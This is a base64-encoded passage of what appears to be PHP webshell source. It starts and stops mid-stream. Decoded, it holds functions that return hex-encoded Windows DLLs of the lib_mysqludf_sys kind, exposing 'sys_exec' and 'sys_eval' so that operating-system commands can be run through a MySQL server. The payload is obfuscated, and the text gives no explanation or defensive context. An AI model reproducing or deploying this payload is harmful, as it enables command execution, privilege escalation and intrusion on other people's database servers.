yNDM0Njg3OURGOTQ1OTYzRUM2M0IwNDEyOEZBRDQwQTJDRTdCREMzQjZEQTIwMTEwODIzNjg1QjlFMEE2NzhEMUIzMDY4MzQyRjAzM0M4ODdDNUNGODFFOUE1QjZBMTQ0NjUwQzBDMzkxQzFCNDM1RDY1OUU3Rjg1QTFCNjNFRDMyNEQzOTcwRDc2MTlGQjgzNjNCRkMzN0FDNTk4QjJFMjgyN0FERDBCQTYwRDkwQUUwRjNCOTAzQjE2REZCRENFNDUwMzUyQUE2MTJEQzBBRTQ1NDQwREI2MjZDNjBENkQzMEZFMDA5ODU5NzEwQzNENEU1RDEwN0ZCMzcxRERBRDk4NERDRDE2NkEwOUVDM0JCMEU2RUZGMUE2NUY3RDgxQkMwMDM1OTQ4N0VCOEIwMThCRjJEQjFENTdBMDQ1MUU1NzM1ODA2QjBEMkNCMjA0OUM2Rjc3MkYxMUYyM0MyOEU5MDY3MjAyMENDMDBEMEZBMDU0NzI3RDI4MTM5NEQ1QTc0OEJBMUYwOTcyOEVFOTczQzAzQzE4MTM4NTBDRTQ5MzZGODVCNjlGMDRGMTg3ODE4MEIwMTBGOTQxREMxRkMzNjEyQzMzNjg0NDgyNUM4MEZCNzQxMTQxMjFCREYwQTA1MDU3MTA2MzNEMkVDNTdDOUZBQkY5REY4MDgxODc2MUUyMDFEMEMzQkY5NzIwOThCNTgwODAzRDlENEZFQjc1OEUwNzIyMUMyMDE4M0MwMjgzQkQ2NzJFNjYwNjE5MjQxQzBDMkU5NzBCQTAzMzBEMEZEN0FGMDAwNTI5OTZDNTlBQjNERjk0QjdDQzczNjVENTAxMDlDNTkxMTJCMjkyNDRGMDdFMUY2QzFFODFGRjdDM0UwMDEzNEVCMjAyRTAwQzFBQzYzNkIwMUEzM0QzRUMwQTJCMTFEODU5NDI4NDVBQjEwNTgwNUUzQTQ5MTkxNEM1MEFDMkQxMzM0ODQ4M0ExRDI4NzIwNkRFQURDMzU5MzZCMjA0QTJDRTdBMzA5RTE2NDZEQTkxOTM4REUwOUYzMTg2QzAzNkQwQzAzOUI4RDJCRTBGQUE4MzE2QUMxREE4OUY2MzNDNTUwODk3MzgxMEI3OTZERUYwRDEzOUUwNEYwNjRBMzM3OTA0REMzQkJEQkE5MDk2OTAwNTk1RkZBOEJFNTVENTFEOEMzQkIxQkQ4MTAwMzY4MDMyNzY4NTBGOUM0Q0VDMkM1QjI4QzNFMTA2NEY4MkQyMjJEMjBGOEZFQTBCRjRFRTY0MEJCMUFCQzE5NThEM0JCODYzNjBEODVDMzJDMzNCNjNGMTUxMDE0MDRFQjYwNTY3MUY4RTNDNjFFNkJFRDQ0OEI3NTk0OEUwQjEwMzNGMDA3MTRFRENDOTU0MTE4OTkyNzFDQjBFMEJFRDFEQUY0MzMwQzExMTM3NTA3QkU0RjU5QzAyRkQxMkVFMjg1RjMwQUY3QzFFMDEwMEJGMDA2RTE2MzhGNDQwMEY3RDYwNzA0NUU1RjVCNDk1QzQ2NDY0NkM2MDU2MDY0Njg2QzAwNjQ0NzQ2NzRCMDAwMDA0NzJGRUMwMDAzMzYwRjIwMTgwMUZGN0ZGQkZGNEU2RjIwNjE3MjY3NzU2RDY1NkU3NDczMDk2QzZDNkY3NzY1NjQyMDI4NzU2NDY2M0EyMDZDRENERjc2RkY2OTYyNUY2RDc5NzM3MTZDMEQ1RjczMDg1RjY5NkU2NjZGMjkzOTZERkJGRkM4MTgyMDc2NjU3MjczNjk2RjZFMjAzMDJFMDEzNDFGQkZCRERERkQ0NTc4NzA2NTYzNzQ0NzY1Nzg2MTA3NkM3OTIwMUE2NTIwNzM3NDcyQjVBREI1NkYzRjY3MjA3NDc5MUI3NTcyNjE3MTA1RUMwMEI2MjE3MjJCNzQ3NzkxRkQzNkIwODAxRjNGODY3MjIwNkU2MTZEMUQ3QkZCODE0ODQzNkY3NTZDMjQ2RTZGNzRDNDYzNjE4Mzc1REJCNjEzMjAxODZEMjc3OUFGNzJGMTQ4QTlERDQ0MDkzRjIwMDMxMjEwMTNERjhCMDVGNkUxMTkyMTZCMDdEMEQ2RDVCMDIwMEYxRjJEMDcyOTNCQUM3QjA1RjkwQjBEMTdDQzI3REQwOTlCQjAwNzBGRDgxRjA5MjgwMzNDOTJFODVFNjExRjAzMEYwMzEzRTk0NEQ5MDAwMDAwRUMxQjY4MTRFNUIxMTlCRjQ0RkYwMDUxNTU2NTExMEZDOUE4QUFCMjAwQUE2NDU0NTU1NTU1MzJBQThFQTIyQTE5NUMwM0UwN0ZGQjA0MTAwMjAxNTc2MTY5NzQ0NjZGNzI1Mzg4QkYzNTAwN0U2QzY1NEY2MjZBOTkxNDU2Njk3Mjc0NzVGQjlCMDNFMDYxNkM0MTc2MEQ1MzY1NzQ0NTZFNzYxMkI2REYwMTcwNkY2RUMwNTY2MTcyNjk2MTYyMkI0MTc1MzcwMERFMTg0MzcyNjU5NDU0NjgwNjY0RkJBREZCQjYwRDQ3MjY0Mzc1NzI3MjIyNTAyQTYzNjU3MzczNDkxNEYwQzE2NjA5MjYxMzU0Njk2MzZCREI3RUI3MDFERTZFNkI1MTc1NjU3Mjc5NTAwMzY2ODQwRDgwNTg3QjZENjE2RTM3MTZGREY2RjZCM0Y3MDE0NDY5NzM2NzM3NEM2OTYyNzI3ODc5NDM2MTkyQjZENkZFREI3MzFBNDk3MzQ0NjU2Mjc1Njc2NzI2NkE2ODY1REJEQjc2Rjc0NkE0NTU2RTY4NDA2NDMxNjQ0NTc4NDY3MEFEQjBEOERCNzQ2OUFGNDY2OTZDNEExOTU3RDhCNjk0QjQxMjU0MTc2RDBERDg2QjBENkYzMjExNDk5MDBBNkI0MDlEQjlFNkRDNzY2RDcwODc2NTQ3NTE3Rjc3QjcyQzYxQUQ1NTUxMjIxQjVDNzUxN0RBNzY1Mzc5NzMxODZERUUzOTQxNzM3MzY1RURBMTYxRTEwOTc1Njk3QzRDN0Q1RjY4NkZERkVEMEE3RTM5NkQ1RjJFNUY2MTZENzM2NzA4Nzg2OTc0MEJEODZGN0YwQjY0NkE3NTNBNUY2NjY0Njk3NjI2MEFEQzBGNzZBMTYzOUE1RjY0RkQ1RjY4NkY2RjZCMTNCODAwQjZENjE0NTk3MjVGNDg3NTAxN0MwMUQxNUY0OTczNUVDMTZEQ0UwQTMzMEE2QzIxNTM5QzgyMDU2QkY4MkE2NEQ0NkU2NDEzM0Q2MTg0QzkwRjY1MUU1RjJDNzIzNDZCQ0RCNUFENTZFRDZEMUMxODcwMEEwMzZFREYxNzdCNUY3MDZGNTIyOTZFMTA2NDY4NzU2Q0M5REVBM0YwNUVCOTJBOUIxQjZDQjdCNTY1MkNBODA2NkVDNTcyNjUyNUJENkQ3MDVCMDg2NjExNTY3Mzc0OUM2MzcwNzlBRTM1MTdDMTA4MjQzOTMyQzA2RUFERTFGNjY2NEQwRkQ3NkY3MzE5NjYzQTFEQzJGNjBGMUY1RjQzNzA3MDU4MzE3NEJDNkRGRkZGNjNBRjM0M0YwMDE4MTgzRDE5M0MxQzFCMTYxRTU1MjcxOTExMUYwQTA2MkZGRkZGRkZGRjExMUQ1RjEwMTMwQTA3MEQyRTE1MDkwOTA1MTQwQzFCMDgwOTBCMTUwNjE4MTQxNTA1MDYxQjA1MEMwRDA2MDhGRERCQkZGRDE5MDYxMzA1MEQwRjEyMEYxRDA3MDUwNTA5MDYyRTBEMTg1MzJENDgzNDA2QjdEQjcyRjIwMDA3MDgwQzNCMDYwQTM5MEMwNURGNkU2RkI3MTAwNzA2MTYxMjBFMEIwNjQyMEIyMTU2MzcwNTFGMDU3NzZGQjdFRTlGMEU1RDJDMEQwMDFENEM2MTIzMEQwQzJFMjQwODBCOTdGRkI3NjM0MTA2RjAwMjEwMDRGMDJDMDEwNDM4MDgwNDFDMUMwNDAwOTBGRTFEMDVFRDRDMDEwNTAwNEUxMEEzNEQ4NjdFOTNCNkZGRTAwMDAyMjEwQjAxMDgwODBDOEUwMDM4MTZCNkIxQjFDMTBCMjAwRTEwMEIwMjAyMDRGRUVDNjFDMTMzMDcwMDYwMEM0QjA3MDEwMDAyM0MxQkQ4QzEyQTAwMTAwNzA2QzAyNkRGQjYyQjA0QTQyMEFDMjIwMzNDMTQ0MEVCMEQ2MDc1MEIwMTEzNTA5RjNBQjcyQ0Y2MkFDODIxNDIwMEE3QkIwQjAzNTlCODJGMkVBQjc4NzQwN0MyMEEyNzFCRDg2MDkwMENDNDQyNjAyRTYxQjBEQkQyNzI2NDc0NjEwOEM1MDhGQjBBMTM5QUVEODYyRDAwNzc0MDJFMjY5NDNEQTFEQkMyMDMwNDMwMUIwMDFBMjcwNjFCRUNEQkMwNEY3MzcyNjMwMEVCNDAyNzFDRjhBMzExQzA0RjVDNkQwMDlBMDFERjk0OEM0RDAzMjcxRTQyMUJBMDAwQjQ2M0I3MjMwM0QxNTIxMjczNTMwMzAwMDAwMDAwMDAwMDAwMTJGRjAwMDAwMDAwMDAwMDAwODA3QzI0MDgwMTBGODVCOTAxMDAwMDYwQkUwMDcwMDAxMDhEQkUwMEEwRkZGRjU3ODNDREZGRUIwRDkwOTA5MDhBMDY0Njg4MDc0NzAxREI3NTA3OEIxRTgzRUVGQzExREI3MkVEQjgwMTAwMDAwMDAxREI3NTA3OEIxRTgzRUVGQzExREIxMUMwMDFEQjczRUY3NTA5OEIxRTgzRUVGQzExREI3M0U0MzFDOTgzRTgwMzcyMERDMUUwMDg4QTA2NDY4M0YwRkY3NDc0ODlDNTAxREI3NTA3OEIxRTgzRUVGQzExREIxMUM5MDFEQjc1MDc4QjFFODNFRUZDMTFEQjExQzk3NTIwNDEwMURCNzUwNzhCMUU4M0VFRkMxMURCMTFDOTAxREI3M0VGNzUwOThCMUU4M0VFRkMxMURCNzNFNDgzQzEwMjgxRkQwMEYzRkZGRjgzRDEwMThEMTQyRjgzRkRGQzc2MEY4QTAyNDI4ODA3NDc0OTc1RjdFOTYzRkZGRkZGOTA4QjAyODNDMjA0ODkwNzgzQzcwNDgzRTkwNDc3RjEwMUNGRTk0Q0ZGRkZGRjVFODlGN0I5MkIwMDAwMDA4QTA3NDcyQ0U4M0MwMTc3Rjc4MDNGMDA3NUYyOEIwNzhBNUYwNDY2QzFFODA4QzFDMDEwODZDNDI5Rjg4MEVCRTgwMUYwODkwNzgzQzcwNTg4RDhFMkQ5OERCRTAwNTAwMDAwOEIwNzA5QzA3NDNDOEI1RjA0OEQ4NDMwQjA3MTAwMDAwMUYzNTA4M0M3MDhGRjk2RUM3MTAwMDA5NThBMDc0NzA4QzA3NERDODlGOTU3NDhGMkFFNTVGRjk2RjA3MTAwMDAwOUMwNzQwNzg5MDM4M0MzMDRFQkUxNjEzMUMwQzIwQzAwODNDNzA0OEQ1RUZDMzFDMDhBMDc0NzA5QzA3NDIyM0NFRjc3MTEwMUMzOEIwMzg2QzRDMUMwMTA4NkM0MDFGMDg5MDNFQkUyMjQwRkMxRTAxMDY2OEIwNzgzQzcwMkVCRTI4QkFFRjQ3MTAwMDA4REJFMDBGMEZGRkZCQjAwMTAwMDAwNTA1NDZBMDQ1MzU3RkZENThEODcwNzAyMDAwMDgwMjA3RjgwNjAyODdGNTg1MDU0NTA1MzU3RkZENTU4NjE4RDQ0MjQ4MDZBMDAzOUM0NzVGQTgzRUM4MEU5OUY5OEZGRkYwMDAwMDA0ODAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDMwMDAxMDEwMjIwMDEwMDEwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwNDAwMDAwMDAwMDAwMTAwMTgwMDAwMDAxODAwMDA4MDAwMDAwMDAwMDAwMDAwMDAwNDAwMDAwMDAwMDAwMTAwMDIwMDAwMDAzMDAwMDA4MDAwMDAwMDAwMDAwMDAwMDAwNDAwMDAwMDAwMDAwMTAwMDkwNDAwMDA0ODAwMDAwMDVDODAwMDAwNTIwMTAwMDBFNDA0MDAwMDAwMDAwMDAwNTg0MDAwMDAzQzYxNzM3MzY1NkQ2MjZDNzkyMDc4NkQ2QzZFNzMzRDIyNzU3MjZFM0E3MzYzNjg2NTZENjE3MzJENkQ2OTYzNzI2RjczNkY2Njc0MkQ2MzZGNkQzQTYxNzM2RDJFNzYzMTIyMjA2RDYxNkU2OTY2NjU3Mzc0NTY2NTcyNzM2OTZGNkUzRDIyMzEyRTMwMjIzRTBEMEEyMDIwM0M2NDY1NzA2NTZFNjQ2NTZFNjM3OTNFMEQwQTIwMjAyMDIwM0M2NDY1NzA2NTZFNjQ2NTZFNzQ0MTczNzM2NTZENjI2Qzc5M0UwRDBBMjAyMDIwMjAyMDIwM0M2MTczNzM2NTZENjI2Qzc5NDk2NDY1NkU3NDY5NzQ3OTIwNzQ3OTcwNjUzRDIyNzc2OTZFMzMzMjIyMjA2RTYxNkQ2NTNEMjI0RDY5NjM3MjZGNzM2RjY2NzQyRTU2NDMzODMwMkU0MzUyNTQyMjIwNzY2NTcyNzM2OTZGNkUzRDIyMzgyRTMwMkUzNTMwMzYzMDM4MkUzMDIyMjA3MDcyNkY2MzY1NzM3MzZGNzI0MTcyNjM2ODY5NzQ2NTYzNzQ3NTcyNjUzRDIyNzgzODM2MjIyMDcwNzU2MjZDNjk2MzRCNjU3OTU0NkY2QjY1NkUzRDIyMzE2NjYzMzg2MjMzNjIzOTYxMzE2NTMxMzg2NTMzNjIyMjNFM0MyRjYxNzM3MzY1NkQ2MjZDNzk0OTY0NjU2RTc0Njk3NDc5M0UwRDBBMjAyMDIwMjAzQzJGNjQ2NTcwNjU2RTY0NjU2RTc0NDE3MzczNjU2RDYyNkM3OTNFMEQwQTIwMjAzQzJGNjQ2NTcwNjU2RTY0NjU2RTYzNzkzRTBEMEEzQzJGNjE3MzczNjU2RDYyNkM3OTNFNTA0MTAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDBDODIwMDAwRUM4MTAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAxOTgyMDAwMDA0ODIwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDI0ODIwMDAwMzI4MjAwMDA0MjgyMDAwMDUyODIwMDAwNjA4MjAwMDAwMDAwMDAwMDZFODIwMDAwMDAwMDAwMDA0QjQ1NTI0RTQ1NEMzMzMyMkU0NDRDNEMwMDRENTM1NjQzNTIzODMwMkU2NDZDNkMwMDAwNEM2RjYxNjQ0QzY5NjI3MjYxNzI3OTQxMDAwMDQ3NjU3NDUwNzI2RjYzNDE2NDY0NzI2NTczNzMwMDAwNTY2OTcyNzQ3NTYxNkM1MDcyNkY3NDY1NjM3NDAwMDA1NjY5NzI3NDc1NjE2QzQxNkM2QzZGNjMwMDAwNTY2OTcyNzQ3NTYxNkM0NjcyNjU2NTAwMDAwMDY2NzI2NTY1MDAwMDAwMDAwMDAwMDAwMDREMTBBMzREMDAwMDAwMDA1NDgzMDAwMDAxMDAwMDAwMTIwMDAwMDAxMjAwMDAwMEEwODIwMDAwRTg4MjAwMDAzMDgzMDAwMDIyMTAwMDAwMjExMDAwMDAwMDEwMDAwMDhGMTIwMDAwMjExMDAwMDA4QzEyMDAwMEM1MTEwMDAwMjExMDAwMDA4NzExMDAwMEIzMTEwMDAwMjExMDAwMDA4NzExMDAwMDc3MTAwMDAwMjExMDAwMDA0NDEwMDAwMDJGMTEwMDAwMUIxMTAwMDBBQTEwMDAwMDY5ODMwMDAwN0Y4MzAwMDA5QzgzMDAwMEI3ODMwMDAwQzM4MzAwMDBENjgzMDAwMEU3ODMwMDAwRjA4MzAwMDAwMDg0MDAwMDBFODQwMDAwMTc4NDAwMDAyNzg0MDAwMDM1ODQwMDAwM0Q4NDAwMDA0Qzg0MDAwMDU5ODQwMDAwNjE4NDAwMDA3MDg0MDAwMDAwMDAwMTAwMDIwMDAzMDAwNDAwMDUwMDA2MDAwNzAwMDgwMDA5MDAwQTAwMEIwMDBDMDAwRDAwMEUwMDBGMDAxMDAwMTEwMDZDNjk2MjVGNkQ3OTczNzE2Qzc1NjQ2NjVGNzM3OTczMkU2NDZDNkMwMDZDNjk2MjVGNkQ3OTczNzE2Qzc1NjQ2NjVGNzM3OTczNUY2OTZFNjY2RjAwNkM2OTYyNUY2RDc5NzM3MTZDNzU2NDY2NUY3Mzc5NzM1RjY5NkU2NjZGNUY2NDY1Njk2RTY5NzQwMDZDNjk2MjVGNkQ3OTczNzE2Qzc1NjQ2NjVGNzM3OTczNUY2OTZFNjY2RjVGNjk2RTY5NzQwMDczNzk3MzVGNjI2OTZFNjU3NjYxNkMwMDczNzk3MzVGNjI2OTZFNjU3NjYxNkM1RjY0NjU2OTZFNjk3NDAwNzM3OTczNUY2MjY5NkU2NTc2NjE2QzVGNjk2RTY5NzQwMDczNzk3MzVGNjU3NjYxNkMwMDczNzk3MzVGNjU3NjYxNkM1RjY0NjU2OTZFNjk3NDAwNzM3OTczNUY2NTc2NjE2QzVGNjk2RTY5NzQwMDczNzk3MzVGNjU3ODY1NjMwMDczNzk3MzVGNjU3ODY1NjM1RjY0NjU2OTZFNjk3NDAwNzM3OTczNUY2NTc4NjU2MzVGNjk2RTY5NzQwMDczNzk3MzVGNjc2NTc0MDA3Mzc5NzM1RjY3NjU3NDVGNjQ2NTY5NkU2OTc0MDA3Mzc5NzM1RjY3NjU3NDVGNjk2RTY5NzQwMDczNzk3MzVGNzM2NTc0MDA3Mzc5NzM1RjczNjU3NDVGNjQ2NTY5NkU2OTc0MDA3Mzc5NzM1RjczNjU3NDVGNjk2RTY5NzQwMDAwMDAwMDAwNzAwMDAwMTAwMDAwMDBERDNCRDgzRERDM0QwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMCI7Cn0KCmZ1bmN0aW9uIG15c3FsaV9zaGVsbGNvZGU2NCgpCnsKICAgIHJldHVybiAiMHg0RDVBOTAwMDAzMDAwMDAwMDQwMDAwMDBGRkZGMDAwMEI4MDAwMDAwMDAwMDAwMDA0MDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDBGMDAwMDAwMDBFMUZCQTBFMDBCNDA5Q0QyMUI4MDE0Q0NEMjE1NDY4Njk3MzIwNzA3MjZGNjc3MjYxNkQyMDYzNjE2RTZFNkY3NDIwNjI2NTIwNzI3NTZFMjA2OTZFMjA0NDRGNTMyMDZENkY2NDY1MkUwRDBEMEEyNDAwMDAwMDAwMDAwMDAwMzNDMkVERTA3N0EzODNCMzc3QTM4M0IzNzdBMzgzQjM2OUYxMTBCMzc1QTM4M0IzNjlGMTAwQjM3REEzODNCMzY5RjEwN0IzNzVBMzgzQjM1MDY1RjhCMzc0QTM4M0IzNzdBMzgyQjM1QkEzODNCMzY5RjEwQUIzNzZBMzgzQjM2OUYxMTZCMzc1QTM4M0IzNjlGMTExQjM3NkEzODNCMzY5RjExMkIzNzZBMzgzQjM1MjY5NjM2ODc3QTM4M0IzMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDA1MDQ1MDAwMDY0ODYwNjAwNzBCMTgzNEIwMDAwMDAwMDAwMDAwMDAwRjAwMDIyMjAwQjAyMDkwMDAwMTIwMDAwMDAxNjAwMDAwMDAwMDAwMDM0MUEwMDAwMDAxMDAwMDAwMDAwMDA4MDAxMDAwMDAwMDAxMDAwMDAwMDAyMDAwMDA1MDAwMjAwMDAwMDAwMDAwNTAwMDIwMDAwMDAwMDAwMDA4MDAwMDAwMDA0MDAwMDMzQ0UwMDAwMDIwMDQwMDEwMDAwMTAwMDAwMDAwMDAwMDAxMDAwMDAwMDAwMDAwMDAwMDAxMDAwMDAwMDAwMDAwMDEwMDAwMDAwMDAwMDAwMDAwMDAwMDAxMDAwMDAwMDAwMzkwMDAwMDUwMjAwMDA0MDM0MDAwMDNDMDAwMDAwMDA2MDAwMDBCMDAyMDAwMDAwNTAwMDAwNjgwMTAwMDAwMDAwMDAwMDAwMDAwMDAwMDA3MDAwMDAxMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMzAwMDAwNzAwMTAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAyRTc0NjU3ODc0MDAwMDAwMTExMDAwMDAwMDEwMDAwMDAwMTIwMDAwMDAwNDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAyMDAwMDA2MDJFNzI2NDYxNzQ2MTAwMDAwNTBCMDAwMDAwMzAwMDAwMDAwQzAwMDAwMDE2MDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDQwMDAwMDQwMkU2NDYxNzQ2MTAwMDAwMEQ4MDUwMDAwMDA0MDAwMDAwMDAyMDAwMDAwMjIwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwNDAwMDAwQzAyRTcwNjQ2MTc0NjEwMDAwNjgwMTAwMDAwMDUwMDAwMDAwMDIwMDAwMDAyNDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDA0MDAwMDA0MDJFNzI3MzcyNjMwMDAwMDBCMDAyMDAwMDAwNjAwMDAwMDAwNDAwMDAwMDI2MDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDQwMDAwMDQwMkU3MjY1NkM2RjYzMDAwMDI0MDAwMDAwMDA3MDAwMDAwMDAyMDAwMDAwMkEwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwNDAwMDAwNDIwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDgzM0EwMDc0NTA0ODhCMDVBNDIxMDAwMDQ5ODkwMDQ4OEIwNUEyMjEwMDAwNDk4OTQwMDg0ODhCMDU5RjIxMDAwMDQ5ODk0MDEwNDg4QjA1OUMyMTAwMDA0OTg5NDAxODQ4OEIwNTk5MjEwMDAwNDk4OTQwMjA0ODhCMDU5NjIxMDAwMDQ5ODk0MDI4MEZCNzA1OTMyMTAwMDA2NjQxODk0MDMwQjAwMUMzMzJDMEMzQ0NDQ0NDQ0NDQ0NDQ0NDQzQ4OEIwNTgxMjEwMDAwNDk4OTAwNDg4QjA1N0YyMTAwMDA0OTg5NDAwODQ4OEIwNTdDMjEwMDAwNDk4OTQwMTA4QjA1N0EyMTAwMDA0MTg5NDAxODBGQjcwNTczMjEwMDAwNjY0MTg5NDAxQzBGQjYwNTY5MjEwMDAwNDE4ODQwMUU0MUM3MDExRTAwMDAwMDQ5OEJDMEMzQ0NDQ0NDQ0M4MzNBMDE3NTBGNDg4QjQyMDg4MzM4MDA3NTA2QzYwMTAxMzJDMEMzNDg4QjA1M0QyMTAwMDA0OTg5MDA0ODhCMDUzQjIxMDAwMDQ5ODk0MDA4NDg4QjA1MzgyMTAwMDA0OTg5NDAxMDQ4OEIwNTM1MjEwMDAwNDk4OTQwMTg0ODhCMDUzMjIxMDAwMDQ5ODk0MDIwMEZCNzA1MkYyMTAwMDA2NjQxODk0MDI4MEZCNjA1MjUyMTAwMDA0MTg4NDAyQUIwMDFDM0NDQ0NDQ0NDQ0NDQ0NDQ0NDQ0NDQ0NDQzQwNTM0ODgzRUMyMDQ4OEI0QTEwNDk4QkQ5NDg4QjA5RkYxNURBMUYwMDAwNEM4QkQ4NDg4NUMwNzUwRTQ4OEI0QzI0NTBDNjAxMDE0ODgzQzQyMDVCQzM0ODg5N0MyNDMwMzNDMDQ4ODNDOUZGNDk4QkZCRjJBRTQ4OEI3QzI0MzA0OThCQzM0OEY3RDE0OEZGQzk4OTBCNDg4M0M0MjA1QkMzQ0NDQ0NDQ0NDQ0NDQ0NDQ0NDQ0NDQ0NDQ0NDQzQ4ODk1QzI0MDg1NzQ4ODNFQzIwODMzQTAyNDk4QkQ4NDg4QkY5NzQ1NTQ4OEQwRDY0RUVGRkZGNDg4QjgxMzgzMjAwMDA0OTg5MDA0ODhCODE0MDMyMDAwMDQ5ODk0MDA4NDg4QjgxNDgzMjAwMDA0OTg5NDAxMDhCODE1MDMyMDAwMDQxODk0MDE4MEZCNzgxNTQzMjAwMDA2NjQxODk0MDFDMEZCNjgxNTYzMjAwMDA0MTg4NDAxRUIwMDE0ODhCNUMyNDMwNDg4M0M0MjA1RkMzNDg4QjQyMDg4MzM4MDA3NDRBNDg4RDBEMDZFRUZGRkY0ODhCODE1ODMyMDAwMDQ5ODkwMDQ4OEI4MTYwMzIwMDAwNDk4OTQwMDg0ODhCODE2ODMyMDAwMDQ5ODk0MDEwNDg4QjgxNzAzMjAwMDA0OTg5NDAxODQ4OEI4MTc4MzIwMDAwNDk4OTQwMjBCMDAxNDg4QjVDMjQzMDQ4ODNDNDIwNUZDM0M3NDAwNDAwMDAwMDAwNDg4QjQyMTg4QjQ4MDQ4QjAwOEQ0QzAxMDJGRjE1RTkxRTAwMDA0ODg5NDcxMDQ4ODVDMDc1M0Y0ODhEMEQ5OUVERkZGRjQ4OEI4MTgwMzIwMDAwNDg4OTAzNDg4QjgxODgzMjAwMDA0ODg5NDMwODQ4OEI4MTkwMzIwMDAwNDg4OTQzMTAwRkI3ODE5ODMyMDAwMDY2ODk0MzE4QjAwMTQ4OEI1QzI0MzA0ODgzQzQyMDVGQzMzMkMwNDg4QjVDMjQzMDQ4ODNDNDIwNUZDM0NDQ0NDQ0NDNDg4M0VDMjg0ODhCNDkxMDQ4ODVDOTc0MDZGRjE1OEQxRTAwMDA0ODgzQzQyOEMzQ0NDQ0NDQ0NDQ0NDQ0NDQzQ4ODk1QzI0MDg0ODg5NzQyNDEwNTc0ODgzRUMyMDQ4OEI0MjE4NDg4QjcxMTA0ODhCRkE0ODhCNTIxMDQ0OEIwMDQ4OEJDRTQ4OEIxMjQ5OEQ1QzMwMDFFODc1MEMwMDAwNEM4QjVGMTg0ODhCQ0I0MThCMDND